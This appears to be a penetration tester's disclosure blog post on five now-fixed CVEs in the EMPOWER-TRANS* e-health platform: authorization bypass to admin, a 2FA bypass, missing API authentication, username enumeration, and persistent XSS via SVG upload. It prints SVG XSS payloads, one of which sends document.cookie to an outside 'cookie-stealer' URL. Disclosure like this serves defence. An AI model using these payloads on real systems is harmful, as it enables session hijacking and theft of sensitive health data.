E-Health Issues (2/3) - Severe Vulnerabilities in EMPOWER-TRANS*
This is the second post in our E-Health series (check out part one on SimplifyU if you missed it). Turns out 2025/2026 has been rough for security in the health sector and this next one didn’t disappoint either.
Intro
EMPOWER-TRANS* is a digital information and training platform funded through Germany’s Innovationsfonds (to the tune of €4.9 million), aimed at transgender people and people with gender dysphoria who need support along the way - a group for which privacy and the sensitivity of processed data matter enormously. Before the application went live, the vendor commissioned us to perform a web application penetration test, which was a genuinely good call as it turned out.
We ran a greybox pentest (5 person-days) against a dedicated test environment that was populated with test data only. We were provided with accounts across all four roles the application defines: User, Dispatcher, Specialist, and Admin.
What we found was, once again, not great: a full chain from normal user privileges to complete administrative takeover, a two-factor authentication that only authenticates one factor, and persistent Cross-Site Scripting (XSS). The vendor was fast and professional throughout the mitigation process and every finding was confirmed and fixed in version 1.1, as the retest showed.
Overview of the CVEs
A total of 5 CVEs were assigned to the vulnerabilities identified. All affected version 1.0 of the application; all were fixed in version 1.1.
| CVE Number | Name | Severity |
|---|---|---|
| CVE-2026-37084 | Broken Function Level Authorization | Critical |
| CVE-2026-37083 | Persistent Cross-Site Scripting | High |
| CVE-2026-37082 | Missing Authentication on Critical API Endpoints | High |
| CVE-2026-37080 | Two-Factor Authentication Bypass | High |
| CVE-2026-37081 | Username Enumeration | Medium |
Remediation
All vulnerabilities described below have been fixed in version 1.1 of the application.
CVEs in Detail
Broken Function Level Authorization (CVE-2026-37084)
The application is a Single Page Application (SPA) that dynamically loads its entire routing logic and admin functionality from a single JavaScript bundle. There was no client-side route protection since admin routes such as /admin/role-management, /admin/file-management, /admin/archive, and /admin/activation-codes were simply… there, waiting to be navigated to by anyone who cared to look. For instance, it was possible to directly browse to /admin/role-management with the user account that had the lowest privilege.
From there, it was possible to assign permissions to specific user accounts. A logged-in user with the lowest privilege level could call this endpoint directly and simply assign themselves the Admin role. No further steps required.
This grants full access to every administrative function and, more importantly, access to any (pseudonymized) medical questionnaires and personal information of every patient and user of the app.
The following API endpoints had no server-side authorization checks, including:
/api/admin/reassing-user-role/api/admin/get-user-groups-counts/api/admin/get-first-batch-of-users/api/admin/get-activation-codes/api/admin/search-users-by-query/api/archive/all-modules/api/admin/all-roles/api/role/create/api/admin/role/delete-role/api/role/update
When we presented this vulnerability, one comment from the customer’s side has stuck with us since:
“But how is an attacker without prior knowledge of the application supposed to find paths like
/admin/role-management? You had an admin account, so of course you knew about it!”
Which is a great question with a slightly deflating answer: because the entire client-side routing table ships to every visitor inside one JavaScript file, all it takes is opening the browser’s dev tools and reading it. No admin account, no insider knowledge, as can be seen in the following Figure.
Two-Factor Authentication Bypass (CVE-2026-37080)
The application implements 2FA over a six-digit code transferred to the e-mail associated with your account. This is great, until you notice that the server issues a fully authenticated session cookie immediately after step one (username + password), before the 2FA code is ever checked.
That cookie works on its own. Anyone in possession of valid credentials (leaked, reused, phished, take your pick) could skip the second factor entirely by taking that session cookie and loading it into a browser extension such as Cookie-Editor.
Persistent Cross-Site Scripting (CVE-2026-37083)
The file management feature allowed SVG uploads without any content validation. SVGs can contain embedded JavaScript that browsers happily execute when the file is opened directly, for example via a URL such as /api/media/file/images/<filename>.svg. Below is an example of a typical Proof-of-Concept for the persistent XSS, simply putting out an alert box with the domain of the website.
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
When uploading this SVG file via the file management and navigating to the upload, one can see that the XSS payload is executed in the user’s browser.
To make matters more interesting, the session cookie was missing the HttpOnly flag. Therefore, the XSS payload could reach straight into document.cookie and exfiltrate an authenticated session, with an exemplary payload in the following code snippet.
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
fetch(`https://cyber.wtf/cookie-stealer`+document.cookie);
</script>
</svg>
Combined with the BFLA vulnerability above, this also meant a low-privileged attacker had a path towards administrative session hijacking.
Missing Authentication on API Endpoints (CVE-2026-37082)
A closely related but distinct problem: several sensitive API endpoints didn’t check for authentication at all. Our notes from that day literally read “wait, why does this work without the session cookie??” It simply wasn’t being asked for.
This problem could be observed for multiple endpoints, including:
/api/role/all-roles/api/file-management/recently-uploaded/api/file-management/files/api/admin/all-roles/api/role/create/api/admin/role/delete-role/api/role/update
Username Enumeration (CVE-2026-37081)
Login, password-reset, registration, and profile-update endpoints all returned subtly different responses depending on whether a given username existed or not. On its own, it is just a medium-severity issue. Paired with 2FA issue above, it’s a convenient reconnaissance step for narrowing down which accounts are worth attacking first when an attacker tries to gain initial access.
Impact
Chained together, these vulnerabilities amounted to a full loss of confidentiality, integrity, and availability of patient data belonging to an already vulnerable population: viewing, modifying, and deleting records, and reading submitted (pseudonymized) medical questionnaires. All starting from the perspective of a low privileged user to full administrative access. Given that this involves health data under Art. 9 GDPR, the reputational and regulatory stakes were correspondingly high.
Lessons Learned
- Authorization bugs are still one of the most common ways modern web apps fall over
- Every privileged action needs server-side enforcement too
- 2FA needs to gate session issuance, not follow it
- File uploads (yes, even “just images”) need thorough validation beyond the file extension
- Regular penetration testing, ideally before go-live, keeps vulnerabilities like these from ever reaching production and getting exploited by an attacker with malicious intent
Timeline
| Date | Event |
|---|---|
| 2025-11 | Initial penetration test |
| 2026-02 | Retest |
| 2026-02 | CVEs requested from MITRE |
| 2026-06 | CVEs approved |
| 2026-07 | Blogpost published |